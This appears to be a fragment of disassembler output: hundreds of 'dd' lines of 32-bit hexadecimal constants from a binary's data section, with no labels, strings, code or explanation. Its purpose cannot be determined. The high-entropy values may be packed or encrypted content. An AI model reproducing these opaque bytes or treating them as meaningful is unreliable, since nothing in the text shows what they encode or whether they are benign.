		dd 0D4A3DA4Ah, 6D266FFh, 84B71AA0h, 80AF44B6h, 10B1C73Dh
		dd 52401618h, 5AA60489h, 581514C8h, 0A2F7738h, 0D4187701h
		dd 0DE4EE0E9h, 5A6143D0h, 65C8A1D6h, 315D0B85h,	4F1931F5h
		dd 1A22A8Eh, 8FED819Dh,	6F542722h, 801D794h, 0B39FE95Bh
		dd 4FEFE050h, 0C4CB0450h, 0AB5FFB09h, 0C54CBA18h, 61CD306Ch
		dd 0E4437A0Ch, 0C301BC98h, 3B9A37EFh, 4C8BD901h, 0C6F4745Ch
		dd 0EB9D9872h, 0EE061603h, 102CE802h, 0AA4EEDDBh, 7FD3DB26h
		dd 8D682EF7h, 0AA07CF8Dh, 0C77F0930h, 0AE341293h, 916F7A7Dh
		dd 5CC252Eh, 418F9A00h,	10D2B2Ah, 29DD74C2h, 3EF4E991h
		dd 4D681E02h, 2D454C32h, 7E8F05Bh, 38BDADBBh, 1B35336h
		dd 5BDD8830h, 0CD02E5C0h, 79B03BEDh, 4AC34908h,	0F4209E81h
		dd 0A8728B6Ch, 50F8FCABh
		dd 31394058h, 8D035C2h,	3CCB500h, 55E9C9C8h, 0EC00882Fh
		dd 50612842h, 0FA84FA6Bh, 59132618h, 2838E7EBh,	5AF72800h
		dd 39805966h, 0D0CCABCFh, 0E9FD0660h, 0A5BAF373h, 3B3DFB31h
		dd 217F35A4h, 44B8D21h,	19E32EEh, 2696DA5Fh, 977C708Eh
		dd 0D8FE00C8h, 0C148943Bh, 0D002EA27h, 6E7400B0h, 0D0290645h
		dd 6CB6FEE9h, 3A862500h, 240F67D2h, 8001AB8Bh, 3DE8D52Dh
		dd 0C65889F3h, 91E04ECFh, 7DC46B44h, 644FA4DEh,	9610E012h
		dd 208BE32Eh, 52E42096h, 0E4E051Eh, 682D1680h, 0EA2CC424h
		dd 43471F59h, 4AF1C02Eh, 0E95745A7h, 0F1087B27h, 0A9F6CB41h
		dd 5C0C0179h, 4987DCB7h, 598E9B0Ah, 3336C568h, 5F5227C6h
		dd 33E90330h, 0C6877665h, 0EF3896AAh, 2662A4B0h, 0D60E9549h
		dd 0ADBF6FD0h, 0CE117F93h, 0C5034762h, 689B0DC2h, 2FF2EED9h
		dd 69677FCDh, 527D6037h, 2D794CBAh, 21C08092h, 3D05A468h
		dd 1E2764F8h, 0FE437405h, 27681788h, 6FF1372Ch,	5555748Ch
		dd 93B260B3h, 5F3C71C3h, 33D3A4Ch, 2F685602h, 0CF291059h
		dd 850F0B6Dh, 69FF6852h, 15880E6h, 0DD368B9Fh, 0B1B14365h
		dd 0EB048D32h, 0BF334AE1h, 0FE9A6712h, 0BBF1238h, 4C555CA5h
		dd 821809D7h, 64D403CAh, 705B001Eh, 0C5290F88h,	0ABFE5158h
		dd 7C70A44Ah, 3168595Bh, 31B91BB7h, 545701BAh, 9B9C1CDCh
		dd 46452593h, 386C5A19h, 70E90F8Ah, 477D25CAh, 81740818h
		dd 7252A73Dh, 55D7F609h, 13FCD7C7h, 38317AE3h, 0AA5F4EAFh
		dd 685A7F20h, 0F64B4A89h, 0EB444B37h, 0E3AEB63Ah, 69977CA9h
		dd 0A3DCF14Ch, 75C6FFC9h, 292FB03Eh, 20D8C447h,	5F76D63Ah
		dd 6CBD1669h, 0D0BE55AEh, 139E8E7Ah, 9D5D27E9h,	0C157EF56h
		dd 0BE3B94EAh, 680E8E8Eh, 0BB130ECDh, 0E90D278Eh, 0CD0A88A0h
		dd 0B397DCC6h, 0A45C4CCBh, 0D180577Eh, 5F432C49h, 217CA142h
		dd 0FE85CFC7h, 0FC4F90CEh, 244C883Ah, 0A9250854h, 72C3800Fh
		dd 0D88DB706h, 2E10BD43h, 23705B68h, 9461D9BDh,	9D209656h
		dd 9E76F8BDh, 0BA227A04h, 0EBA985E9h, 0CEA0980h, 0F0B59868h
		dd 736D0259h, 0D30128F2h, 2BAF7040h, 76BB5380h,	0F0C275Fh
		dd 0E1C3B6E8h, 3B506413h, 85E8FD0Eh, 78C25DD5h,	9F85F04Fh
		dd 86E9F060h, 0A6A3A25Bh, 96DE5932h, 2BD46801h,	0E0B8466h
		dd 0BB82D5E0h, 0D3F6C84Fh, 0E4FBFD65h, 7C016BDDh, 840F6FFCh
		dd 2C7FE3ECh, 18418D14h, 3178C13Ah, 2DEC300Eh, 30040A02h
		dd 0EA37E962h, 0B2D1FDF7h, 1E7FDA08h, 201041B9h, 20CA2933h
		dd 8080D9E7h, 30EB13F6h, 0B63303F0h, 0C13282Bh,	0C0C472E9h
		dd 0FB46C4EBh, 0D3873A81h, 8828461h, 0DF4EE955h, 5F081CFAh
		dd 13021879h, 0E350B507h, 82B980B1h, 0A93603CEh, 0A8EA7F77h
		dd 0BFE90801h, 0ACEE5539h, 0D9902F48h, 6D6885EFh, 0C446EC7Dh
		dd 0FF343795h, 9E825EE2h, 0CCC0D86Ch, 576408E1h, 2D005BD0h
		dd 3D62375Dh, 11602998h, 7BC1BF14h, 47330273h, 0D8A7890Fh
		dd 3890C454h, 59585B0Dh, 12CDD11Ch, 2DBDF0E5h, 16DFEE83h
		dd 0E6482089h, 538246BCh, 0DF036B66h, 5AB0D5F0h, 84E94A58h
		dd 57B81757h, 632ABF12h, 96825623h, 72AA6260h, 0A0761895h
		dd 618E0065h, 3559C809h, 852E7A2Bh, 4527A9FBh, 0E53D9EE4h
		dd 0BC605492h, 0C53B0B5Dh, 46EE1F07h, 5DD68F0Bh, 0EEC392A5h
		dd 99E95AD1h, 9BB3364h,	61BA4B23h, 0D1F1586h, 991333D7h
		dd 0DAC483A2h, 0A8F217BDh, 4183CC4h, 1FC1FD28h,	34388178h
		dd 0E17E1785h, 6CB12BD8h, 0EDD90175h, 317E0D29h, 0E873B638h
		dd 67282F59h, 4FB09F66h, 803BBAB3h, 51BD58F3h, 4BBD3465h
		dd 0F740A241h, 60C7C607h, 75F378CCh, 3E58732Ch,	0F7FB25B8h
		dd 45827038h, 1D0BCDACh, 0FF371C2Ch, 0B62E8E00h, 25B84955h
		dd 0FD40985Ah, 0E2882870h, 0B8F25021h, 383C0EEAh, 0D6290147h
		dd 5600C909h, 184A498Fh, 79DA892Fh, 0DD300E9Bh,	3008EB4Dh
		dd 6EFF8889h, 0C7FA5EC4h, 0F5D0A91Bh, 82E6F29Fh, 4FA077CDh
		dd 3D5832ABh, 0F13B9C90h, 4E3C09F0h, 5E220B21h,	0AFDC88A1h
		dd 96D48069h, 95755A09h, 0FD2C0B55h, 0F325DE9Ch, 52B37497h
		dd 7A88D648h, 6C58719Fh, 99B7B21Ah, 103C9F01h, 5DE83104h
		dd 7D0BFD05h, 255D68FDh, 0B5CCF868h, 0CB50EDFCh, 0ADEC9D59h
		dd 0DF0D146Bh, 5D5ACE00h, 0D07D215Fh, 4A6C905Dh, 6C80660Eh
		dd 0EC960601h, 0E9AA16EBh, 18D0FA0Ch, 3D72391Eh, 0F8CA8B56h
		dd 48C2B4BBh, 71BD0022h, 725FB526h, 8B4C6E91h, 6C4FBB88h
		dd 52ED54A5h, 0D66AE20h, 1599261Fh, 0C6C293Eh, 5E08AA26h
		dd 8C0F0207h, 10E8987Fh, 92BF0D80h, 0D829FF42h,	84044755h
		dd 0EA7A1BE9h, 4B10138Eh, 80BE04DFh, 0CD82852Fh, 0DD8280E6h
		dd 160F4E7Ah, 0E8CED188h, 504D842Fh, 8C827FF8h,	5E201902h
		dd 0EA67A152h, 0F25F0B76h, 41828923h, 0D8088C55h, 8414893Fh
		dd 0EFB80021h, 97C954F5h, 0C83BF75Ch, 0B0A0419h, 8DFE1632h
		dd 0B2F33C8Bh, 88DAA1F1h, 0F22B874Ch, 2CAAD627h, 4231E9C5h
		dd 0EA01387Ch, 0B14243Eh, 0D94629EBh, 0E89BBE27h, 757CF28Dh
		dd 0B2315B32h, 0B3ACD3AAh, 4ABFA910h, 0F5E89516h, 895DE9B8h
		dd 0E686192Ch, 0A2B0346h, 12A9BA64h, 0C52B05BCh, 4653FBADh
		dd 22E4690Ch, 0FED51BF6h, 1FD908CDh, 0F4F7645Ch, 7868051Ch
		dd 0F1C0F171h, 1255E06h, 0AC6455ECh, 2658DF37h,	5D0CED3Ah
		dd 485A0FB4h, 0C139CB21h, 0C8310C82h, 25AC668h,	1F5DA6FBh
		dd 2F79893Dh, 66705736h, 44223025h, 0C189B580h,	7E1C30DDh
		dd 0C8E203Ch, 8BD6E925h, 172075ECh, 0A7CA09F2h,	0D713A1B0h
		dd 0F3C2C8E9h, 0BD88405Fh, 0F97582D6h, 7B598840h, 0F58D622Fh
		dd 0AFA62B06h, 0A73FEA96h, 0A0769ADCh, 454CBD2Ah, 0E92A0B77h
		dd 49B1DEA7h, 0AAA33B56h, 0D6A3BB92h, 5EB8AD3h,	65DB685Eh
		dd 20D99B49h, 7624B883h, 485500B3h, 0BA40540h, 15EA029Eh
		dd 0CAC6A517h, 4C01C6B0h, 4E051CF2h, 0C15B5C0Ah, 64D7BD71h
		dd 665BD80Dh, 9941D088h, 0AE0AF93h, 61B19860h, 5AD63142h
		dd 2F1D9896h, 97966CBh,	72684460h, 517DA86Dh, 88CB13B1h
		dd 280E8CCCh, 9858E72Dh, 7860B4BCh, 30CE3080h, 0D1B7531Ch
		dd 8B16E925h, 291DD69h,	32B76A5Fh, 0DD3BBC04h, 4031C279h
		dd 54096471h, 0BCE5575Fh, 0DC3B3802h, 3C25617Bh, 0E0E90D85h
		dd 0C9F8D0C5h, 20C64D69h, 1C03FFEFh, 25AFB9E9h,	4A893457h
		dd 5BE314B8h, 865E202h,	6F482155h, 0E49DBAACh, 31E4BFD6h
		dd 9FE67420h, 3BB001F2h, 616AB22Fh, 9380DAFAh, 35EF59CFh
		dd 0BC2D368h, 0E1FD295Dh, 0F00D190h, 0BB5BA489h, 7601B35Ch
		dd 0E6C121BDh, 0F6E070h, 85E1A442h, 0D16A882Dh,	19A1124Fh
		dd 278E0706h, 28FFF487h, 7F08F597h, 0C28307E1h,	0AB8F8201h
		dd 0EE1D6E64h, 894F5B65h, 7EEAA6F1h, 0C6B1003Ch, 0FC5C180h
		dd 3296848Dh, 7C3B5725h, 7A858FF9h, 0B4501902h,	0A2FA8E68h
		dd 0C32CCFFEh, 0D523CAA4h, 957FB4A2h, 62FB0102h, 46E8FD1Fh
		dd 0BF025752h, 4E683415h, 0D70589BAh, 0B1075785h, 0BC8B7A55h
		dd 0E76D277Fh, 9E7D33C9h, 0B2CBD406h, 84DBA2CFh, 0C4841A20h
		dd 92F8F8CAh, 9BDDC08h,	1B74F328h, 7CC22742h, 21D161E4h
		dd 0CE5C6030h, 0DB36A90Ah, 0E8029E0Fh, 80051360h, 8D5810D7h
		dd 9523B8EFh, 0E9058FD4h, 89FD7964h, 0D9CE2C02h, 0F6CB2918h
		dd 0BF69A8F9h, 6774AFA9h, 9802AFA0h, 0A34A9445h, 0A90D80F7h
		dd 0FA09577Fh, 2F0B9521h
		dd 6E5283D4h, 600F317Eh, 3C54530Ah, 78F9A4D6h, 0C1525E8Bh
		dd 4BAFE55Ch, 0A3E05A12h, 43687926h, 505B7860h,	26231AEh
		dd 17D8234Dh, 5D08B9B3h, 8158163Eh, 24BC0420h, 975BE5CCh
		dd 0F92F5729h, 0FAE9098Ah, 16A3DAACh, 1C5511Dh,	39A8F7AFh
		dd 28F30BAh, 0D5D290ABh, 0FA8FFC57h, 620B4148h,	0D794702Dh
		dd 59B0B396h, 0C41220Bh, 23425745h, 91680801h, 162D260Fh
		dd 0EAEDE7E2h, 83ADE9F0h, 968808B6h, 6B42C87h, 0E494F8Fh
		dd 8BE58A09h, 0EACF07DFh, 58577DAFh, 9833F62h, 6525DA83h
		dd 4E894F0Ch, 601D654Ch, 5FEE7BC5h, 0A10B7FFDh,	585EF121h
		dd 0B9511497h, 0ED16491Ch, 12D3ADD4h, 7EB86E61h, 2E7C1A0h
		dd 0E5406FFEh, 5E80201h, 57515842h, 34E306F7h, 0CA304839h
		dd 0E5750F6Bh, 0E0819EDDh, 800EB502h, 0F76662EDh, 2CDE79E4h
		dd 0E955C5C2h, 39A5580Ah, 0F31DEE88h, 847645Ah,	80078292h
		dd 0E40FD0F5h, 3DC36659h, 5FC6D062h, 0E9FE1528h, 0DE4E8498h
		dd 600C2796h, 0B847B55Bh, 9BA3093h, 1C5F2110h, 16E3F9BDh
		dd 408A5220h, 891B2757h, 0EE0DBA41h, 560BD60Ah,	201947Ah
		dd 0AA3FFDDDh, 6038505Dh, 0D02867B4h, 67E4D904h, 0BE10C99Eh
		dd 0CB6AED41h, 0A2E983F3h, 0A5BF843Ah, 31D030C9h, 305AEFF8h
		dd 7584A8A2h, 498C97DEh, 2CB07878h, 0DF53D716h,	0EA109A1Ch
		dd 72F35F27h, 76197826h, 1E20293Ah, 5DE22F68h, 66074DE6h
		dd 812D3E39h, 0EA7A1AD0h, 0DAF72E50h, 1C9404E4h, 0D272C2A0h
		dd 5F064175h, 0B157F83Bh, 0D628D901h, 0B36DB8B5h, 0B2205A83h
		dd 0A35B3182h, 4A4D6F7h, 793503C4h, 0B72E7D02h,	0DEADCB51h
		dd 1ACAA638h, 4DFA93BCh, 150508D7h, 0A129E009h,	26C3C03Eh
		dd 0B80106ABh, 0C32D65F0h, 0BC3FD831h, 1D6882B2h, 0C4B99119h
		dd 0B20A007h, 5E00374Fh, 6D7C8FBFh, 5D8EE9B2h, 6802327Dh
		dd 3EB31162h, 0E94081FCh, 0BF60D452h, 97EEB1D8h, 4492BF5Fh
		dd 4F89E109h, 5B7B902Ah, 1E488E7Fh, 3805FECh, 786575A7h
		dd 9F6DEA1Ah, 3C21E916h, 0D388C0B9h, 0A295D189h, 0DC75ADCCh
		dd 3EDC23A8h, 3C5F1710h, 1ACBA65Ah, 0F369511Bh,	37B9B92Dh
		dd 827FDE20h, 3A4049C1h, 6C66141h, 0F547B27Ah, 0A14A0160h
		dd 0BDECB25Dh, 0D55AE979h, 0E91C6C9Eh, 0D42F3E50h, 6EDD511Eh
		dd 1EBDFB00h, 0E3010B31h, 0F702393Ch, 892A2FBFh, 8FF0B48Bh
		dd 2DAF0C5Bh, 9CD96F72h, 0B4E1942Bh, 7D0540DAh,	63E91DCDh
		dd 5D2495BCh, 0CEDDE2C2h, 0DBF65A00h, 0B8E37EC0h, 2C641C56h
		dd 0B0D81489h, 9C86E909h, 0C7B02AC4h, 5995EC99h, 0CF6883C4h
		dd 9A5F1375h, 4EEEF39Bh, 8E253DA8h, 9A90AE58h, 0FC169B9Dh
		dd 16058281h, 0F0D7AE34h, 7AF29759h, 2CA9285Ah,	53156883h
		dd 58636910h, 4E5D240h,	89410545h, 33F9C2F3h, 0DFA73B77h
		dd 8CAEA154h, 1B2851A3h, 3BFCA4F1h, 49191012h, 0E0B3C31Fh
		dd 7D0D99B5h, 1AF6ADA5h, 182BA78h, 4A74F56Ch, 662DB468h
		dd 0B7E310C2h, 30B8BE02h, 0D6602115h, 0EC5E5120h, 2107F156h
		dd 55D524A2h, 0C3F990EEh, 0D2273FB7h, 7D538175h, 0F3FD2F08h
		dd 8E081CA0h, 0CDE92F47h, 0D480F32Eh, 5130410Fh, 99BD5502h
		dd 852BAD34h, 64FE5DECh, 990E1470h, 90D7CC25h, 0A685D3DDh
		dd 95A59FAh, 0C996E9F0h, 224A369Ah, 0BA03CCFFh,	7D6F7A0Bh
		dd 20895716h, 13D6FB81h, 0C981F8F1h, 6E602F03h,	1D1F755h
		dd 0D5BE5604h, 3BDCF9E2h, 0CB099905h, 4E8AD1E4h, 6A863D74h
		dd 6789CFA2h, 0E6C171A1h, 5068B03h, 7741094Eh, 5597E8DAh
		dd 0B0055C1Bh, 4D456C12h, 0B15F82FCh, 49D4426Dh, 61C7A840h
		dd 15FD3713h, 8AA60EC1h, 0BAAA2504h, 2FBDD8D4h,	652784h
		dd 5105D0F7h, 0F8CEE479h, 0C235F184h, 81CB2330h, 9C1B7087h
		dd 3AC97B55h, 0BE65B321h, 45AF7055h, 0E22047D9h, 0D16AC4C2h
		dd 6B00C965h, 2D29D7A0h, 0F9D45856h, 9B0BE720h,	84BDBA82h
		dd 9E86EC6h, 0DF3121F4h, 4A5A0272h, 1F67752Ch, 7588C8A7h
		dd 81A0E2E9h, 75CAD95Ch, 57E87EA1h, 0A717FF5Fh,	5A259DA6h
		dd 0E91310E6h, 74AFBD69h, 0E72FC018h, 734A54D4h, 314D98EEh
		dd 6BFE7495h, 0D94B4AFCh, 0DD54525Eh, 259A5688h, 0D9E293DFh
		dd 16B3F6A3h, 0C9C96BA0h, 1C47806h, 0E9A5C785h,	8C7A08C3h
		dd 99A84697h, 66FED4F6h, 0AD1262B4h, 2B843C01h,	2D39071Eh
		dd 42E9A84h, 23C0E2D1h,	0EFDB5F62h, 2D17003Ah, 40F37250h
		dd 55002B8h, 0F29F5A07h, 0BFAB2D76h, 535F627Ah,	0B24B28AFh
		dd 0D50AD198h, 0F38D1EE9h, 79AD3CB0h, 294A2C1Ch, 0AD4B945h
		dd 8E0127E9h, 82875F3h,	0A50EC54Ch, 31AA2CEFh, 0E96EB09Fh
		dd 784923Eh, 885168B3h,	59CE22D9h, 19D1EC5Dh, 69AC680h
		dd 0ACEED801h, 7CF52CCCh, 0AD435A8Dh, 0BEA1D681h, 877AC16Bh
		dd 0F592682Ch, 43639CBBh, 0C30DCA67h, 0F6F8E872h, 527DE91Eh
		dd 6E5E255Bh, 538C6CF3h, 95D67571h, 0AE96648Eh,	0B83A7E6Dh
		dd 0B0E9B149h, 524EE2Ch, 41B10E7Bh, 0C5C12DAFh,	0DAF8292Ah
		dd 1174078Fh, 17FC512Fh, 0DAF74241h, 9FD5E17Eh,	0F689570Ah
		dd 625FD49Eh, 0F0711B28h, 1378D32Dh, 0A01BC798h, 69E30F6Ah
		dd 45D5F714h, 5BF20097h, 0EB31DA99h, 0CA0E24E9h, 991A47EBh
		dd 0B16FC47Fh, 0DAC08B4Ch, 63934A77h, 1778A072h, 9FE7BD3Dh
		dd 404916ACh, 0CE70A7E9h, 38E0C25Bh, 0CA017B77h, 606BF4CBh
		dd 7ADAF636h, 0F2800BFEh, 3A0E30D9h, 5957D869h,	2D848F0h
		dd 0E3288AB4h, 8663F9D5h, 64FC380h, 82E5305Eh, 3E3AFED6h
		dd 6A725031h, 5392935h,	67A63DD1h, 49C86980h, 0E2EEFF8Ah
		dd 90505CFFh, 0EA173EBAh, 892D5D7Bh, 0EA84049Eh, 14D1212h
		dd 0C505E8A6h, 5D11E842h, 0DDE43AEDh, 4C392768h, 4DF4DAECh
		dd 0CE90B53h, 4FF15FE9h, 0E05B5EDFh, 2B973784h,	40207076h
		dd 6B722DD4h, 823352Dh,	0E90B07E0h, 0F28A3E5h, 95E1DC8Eh
		dd 0B195B82Bh, 0E5830D63h, 0D1282DC1h, 0CAB7BEAFh, 575F7B51h
		dd 0DD5A7B09h, 97A4956Dh, 2B5A442h, 6A75F781h, 0B7CCCCFFh
		dd 3780827Ch, 2DA3F88Ch, 1F35179Eh, 2D1B14Fh, 2E455F07h
		dd 16566885h, 904137EFh, 44BC5F57h, 0F435B02h, 52D4A48Dh
		dd 7CCC08E8h, 37166263h, 0B2545EF0h, 954E2AD7h,	386D00A9h
		dd 68591E9Fh, 0CDAC22E2h, 0EAE48720h, 0DB6F6042h, 29126C7h
		dd 114BD0B8h, 0DE786FF1h, 5CA368F0h, 0C5C9599Dh, 4A02CBC7h
		dd 0ED5096B3h, 0EC0D16F6h, 93F5B412h, 70096279h, 0D2993BE9h
		dd 16F3046Fh, 0C20C3A1Bh, 11F7A8E9h, 0FC88568Dh, 5B173FA4h
		dd 0AEB1D16h, 8CF1E28Ah, 0B80AA71Eh, 7D240302h,	0F8C5094Ah
		dd 16C18BFh, 122863DEh,	7644E02Fh, 0F5BA9512h, 304C1E73h
		dd 0A9A57EE8h, 9D41347Eh, 356E39C0h, 0AED7C5E6h, 0BBE97C90h
		dd 5042C08Fh, 3C646856h, 2F61D794h, 0E9F1E658h,	0FDC2BFCDh
		dd 0C64F32D1h, 0B5375AAEh, 0CC9F3FF2h, 97EC9550h, 12061020h
		dd 0BDA015Ah, 0D804D3B5h, 0DFE1A89Fh, 7A41FBD2h, 56595451h
		dd 0FA45342Ah, 0D2CE94E0h, 7FA2B1C2h, 0BEC746B8h, 0A514E2C8h
		dd 9CB1848h, 2B3D731Eh,	40F503DAh, 2E20434Fh, 617566DEh
		dd 0B834E902h, 75AFCAC4h, 0E964EE02h, 41B04285h, 314638BBh
		dd 60CE30A8h, 22E47203h, 50975A52h, 15CC0CBEh, 0E9F7C675h
		dd 0FFDCF72Ah, 0BD3AAC20h, 67088C50h, 0A5C8901h, 12982DE7h
		dd 7AB0469h, 0E9C7139Ah, 0F75CEFF0h, 0E9170B24h, 99B03A52h
		dd 29809A75h, 9E07BBD9h
		dd 6A684601h, 804B7F13h, 7E0EAFD1h, 0C121B601h,	887B30F7h
		dd 805BF800h, 9E9F9C5h,	0D8C59722h, 6C73BC0Ch, 90B70953h
		dd 0E6D6F988h, 1393B058h, 0A13023B2h, 0A8F32A7Eh, 59CA28B0h
		dd 2D93EAE0h, 2EC9BFB8h, 7A1237D0h, 269CF646h, 0DC2E2099h
		dd 13890F1Bh, 6F9FD9BBh, 63970B88h, 89C6010Bh, 93EEFC26h
		dd 0EB5EC458h, 0D1906EA2h, 0ED17DC49h, 5B3608D7h, 10B25205h
		dd 9F23A188h, 14E2F660h, 6C70EAF0h, 7456A6C4h, 8283550Bh
		dd 0CCA50920h, 5CB702E9h, 93090EAh, 0F016E9C5h,	0F30D045Ah
		dd 0C1220A4Dh, 0A5C11C1Eh, 62E454DCh, 770B7211h, 5C3BD500h
		dd 81005E1Ah, 25DD3CFh,	50D7F778h, 12B5B347h, 16C4964h
		dd 622C6E32h, 0E2A8221h, 0D5789B0Fh, 6054CEE0h,	824B063Eh
		dd 515C5AF6h, 18E8546h,	232B9801h, 0EC6ACF25h, 0B60973B2h
		dd 6097851Fh, 9786E940h, 0DB5D9109h, 47F94A54h,	0F72D9889h
		dd 0C59CB96h, 23A60435h, 0A0AD6E6Ch, 2571AD1Ch,	90824DD5h
		dd 154996BAh, 5F38D787h, 0A96722E9h, 3F622649h,	714FC169h
		dd 0C9049C72h, 0E062675Fh, 95FE52C7h, 60325B55h, 0DF6576Eh
		dd 4BBBE35Fh, 5B91B4C7h, 0AAF4F89Ch, 7EEFA3C9h,	59CA0E5h
		dd 7C2D42C7h, 0A989C210h, 94505BFFh, 2B01E950h,	0B813744Bh
		dd 2C3B30DEh, 3F82925h,	0E203E409h, 8175FA50h, 5B205808h
		dd 0CB6B60A6h, 0A4342DCBh, 0C9267863h, 0E9F48926h, 412A1DD5h
		dd 0D30D8424h, 0B7B16E2Fh, 896C0AF9h, 13A55E2Eh, 0C0E2FC2Bh
		dd 63913262h, 0CFC50481h, 0BB55FF10h, 304A17E8h, 81EDD156h
		dd 2215CD03h, 4451307h,	0A55F30D2h, 6AC2FF0Ch, 79D689E9h
		dd 90680487h, 6CBFB67h,	95FA0113h, 0A6B1EEEFh, 34838B2Fh
		dd 0F482E480h, 4943D79Ah, 0F4882A0Eh, 78E36B53h, 965EFA97h
		dd 60B800C1h, 5479141h,	0F7FDFCE9h, 133CF495h, 0F174284h
		dd 70E90780h, 7E2E3040h, 44085B44h, 9A4A2E4Bh, 0A40EC3A6h
		dd 8331FFA5h, 983E0E9h,	147F6816h, 0D255979Ah, 80643001h
		dd 5AD60918h, 0A7EEC128h, 0B356E62Ah, 59F621A0h, 0DD20101Eh
		dd 28E2D696h, 2981688Fh, 255F0F86h, 5474929Ah, 1B6E7C0Bh
		dd 45B1F19Fh, 97C9D36Bh, 892CDCC1h, 455EF049h, 0A028884Fh
		dd 8F26A324h, 9EE89D13h, 28AE8A5h, 49E918B9h, 1BD2D589h
		dd 0BC10C8h, 12AC0559h,	24B8370Ch, 461F32D3h, 99F42738h
		dd 57F304Dh, 0D5781FDEh, 0BBC1AA12h, 0B150AB2Ah, 24BAEEDh
		dd 8F0F499Dh, 387BF7C8h, 0F26FC4C2h, 6E00B05Ah,	0B21276FEh
		dd 496883B4h, 0F3AE847Ch, 9EEDC9ECh, 0DCD99D45h, 0F501E961h
		dd 0C4E64674h, 0AA060A8Ah, 1B40FC2Dh, 5C883F85h, 2710063Ch
		dd 0B3E90D49h, 0E7010ADDh, 6F9CCB14h, 0EFE892C0h, 5AD63CB0h
		dd 5E5AA374h, 6E47C2F5h, 64A320F2h, 0C8C24BBDh,	0C76752B8h
		dd 0D3CCA60Bh, 5A3203C3h, 8F661FE8h, 69788018h,	0B0D4826h
		dd 41C43B51h, 8038AB54h, 447D5B63h, 0B90BF0E9h,	3522AD50h
		dd 0BD2E6h, 0B750C0EEh,	18169F71h, 140F024Bh, 0B3C82BEh
		dd 0DDF95F4Bh, 8131E525h, 6CB07193h, 1ED0E2E9h,	1D4E8490h
		dd 78BFB816h, 8E60D538h, 0AC21EE59h, 0F87E7635h, 160404B7h
		dd 84F10156h, 65081420h, 39D4E486h, 211E41ECh, 6FD3C208h
		dd 12B97CB0h, 1AE34511h, 7ED4D2E2h, 8061C02Dh, 0D0FF82CFh
		dd 3B190B6Ah, 554459h, 5D3E2510h, 0A00D4AD2h, 0D17C08B8h
		dd 4405195h, 0EBF6850Fh, 0EFF2D840h, 565B5EAh, 55E9D631h
		dd 1C4AE3F4h, 98A70A68h, 91012166h, 17274A58h, 887CC21Bh
		dd 86A5B842h, 0EF528355h, 2CC1E902h, 0F86C631Fh, 844FD13h
		dd 18CEBDABh, 872EA216h, 0C94F98F7h, 0B2055608h, 0E224BF71h
		dd 59280FBBh, 49D11292h, 7C541449h, 0C353F472h,	6003B265h
		dd 7447A6B9h, 1C98054Ch, 0E0640469h, 0E918D990h, 0C3E76F15h
		dd 0CFF312CEh, 0DA0EAF12h, 0BD552041h, 16BC9E32h, 61E901FDh
		dd 8CCB295Eh, 6A68039Ah, 67E52F2Dh, 58438977h, 145F4B97h
		dd 712FA7D9h, 0FCA69859h, 2EF3C916h, 946A5E16h,	31F6E0A0h
		dd 27EA4C1Fh, 0F97C88h,	356937BDh, 0FD308779h, 0F5810647h
		dd 482F7FB0h, 7C009008h, 0E98E35B9h, 7AE1074Ah,	0A75E0EDBh
		dd 0D7CD404Ah, 0F732A595h, 52DED2C1h, 5B279830h, 6ED59047h
		dd 438E77Eh, 5AB949E9h,	210B0F6h, 747F89D4h, 78C383FDh
		dd 0B4C72FA8h, 0D00FE404h, 0C8F97FE5h, 93EF649Bh, 0CFFA886Ah
		dd 18A4FF1h, 58CCC4EFh,	0FB0B133Fh, 0EB43B006h,	6C6008A2h
		dd 71BC90E1h, 36CC68E1h, 0EED07E7Ch, 5A2F055Bh,	4CD4FB05h
		dd 0A714A5FBh, 4DE3D639h, 0F878C4A2h, 58273F48h, 534A3239h
		dd 0F0D1F7CEh, 1DC17863h, 0CBE5B00Ch, 7154B829h, 0F3D9C787h
		dd 0B2AEBC05h, 0B2E916F5h, 59AB44BAh, 7F65D919h, 243B52F1h
		dd 3F8DBFC0h, 0A49E9565h, 5016FAh, 4DDDE115h, 0F9770EBh
		dd 43E40135h, 0C8B470Ch, 55533C7h, 9840F8D8h, 9F6E5CBEh
		dd 5EB93504h, 0EF4D820Bh, 18241877h, 0DBA3C5B6h, 7E7EB32Bh
		dd 90834427h, 0BF5FB90Fh, 0CF841FE2h, 2572E96Ch, 574AC22Eh
		dd 0D4C9D2D1h, 1F10A633h, 0F2B513E9h, 873131FCh, 4055C7Eh
		dd 5590560h, 0F5C74DB3h, 40002DF8h, 47830FD8h, 2E13C44Dh
		dd 76BF64BBh, 1D2DC098h, 3EBDA240h, 57AEA44h, 8FAD58A9h
		dd 82B17A1Ah, 0A864875h, 3188B2B0h, 0A30BE23Ah,	0A9D97BCDh
		dd 0AA6C9CFDh, 4FB2CA4Fh, 0A3D9ECE1h, 9641040h,	575E01A1h
		dd 0B70AB4BFh, 0D003707Fh, 20AE0382h, 0B9632D27h, 346A1D5Ch
		dd 2D84DB08h, 276494F6h, 0AE005EBEh, 0B5F60174h, 0AC0E7B40h
		dd 3A0BB40Ch, 0B9897DAFh, 532FE0D4h, 5B540906h,	0E570DBF6h
		dd 12283C37h, 824D5ACh,	0BB6002A3h, 126643BFh, 81EBC163h
		dd 4B3227Ah, 0EADE85BFh, 0CAD7CAB5h, 6F5676C8h,	0BAD99BC5h
		dd 5830F2h, 0F8E2CE17h,	0D34A25A1h, 5248287Bh, 0D827E1ADh
		dd 0BEE6E9A7h, 30B9F661h, 0E83D30F5h, 0BD5E0D98h, 4F3737A4h
		dd 0D236B952h, 0A5123516h, 0BB80140h, 1C18D124h, 0D3C78957h
		dd 9030E259h, 1AD649D3h, 77547068h, 68412753h, 317B51EEh
		dd 6C64FA93h, 3F09C04Ah, 69BD0FBEh, 0C00B0Dh, 0B1809202h
		dd 0C8881C81h, 66C7C759h, 0FFB60C58h, 0C6F2EC5Bh, 0A7A02C78h
		dd 0B668C740h, 1422B34Dh, 65B3258Dh, 568C7171h,	0B66D2512h
		dd 0ED5A125Eh, 2AF9D39Fh, 2A8DF10h, 7BF9ED81h, 0CDD3C036h
		dd 0D71102BDh, 0E125E96Fh, 2677177h, 48654161h,	0A5C100CAh
		dd 0C343812Fh, 0FD97309h, 462CE5EDh, 0FA5D5F13h, 2D0040CEh
		dd 128D7BD8h, 29623868h, 0E4C015B5h, 67A45D5Bh,	0B05BA25Ah
		dd 0B48F1AE9h, 97B45069h, 4B2BBA92h, 0B500D337h, 0D1435C54h
		dd 28DEBFE8h, 9ADAEB40h, 311224D0h, 74722FF5h, 9EBF620Bh
		dd 326C8F05h, 9D94B567h, 75FB5B97h, 96FD5FABh, 3DE91B8Eh
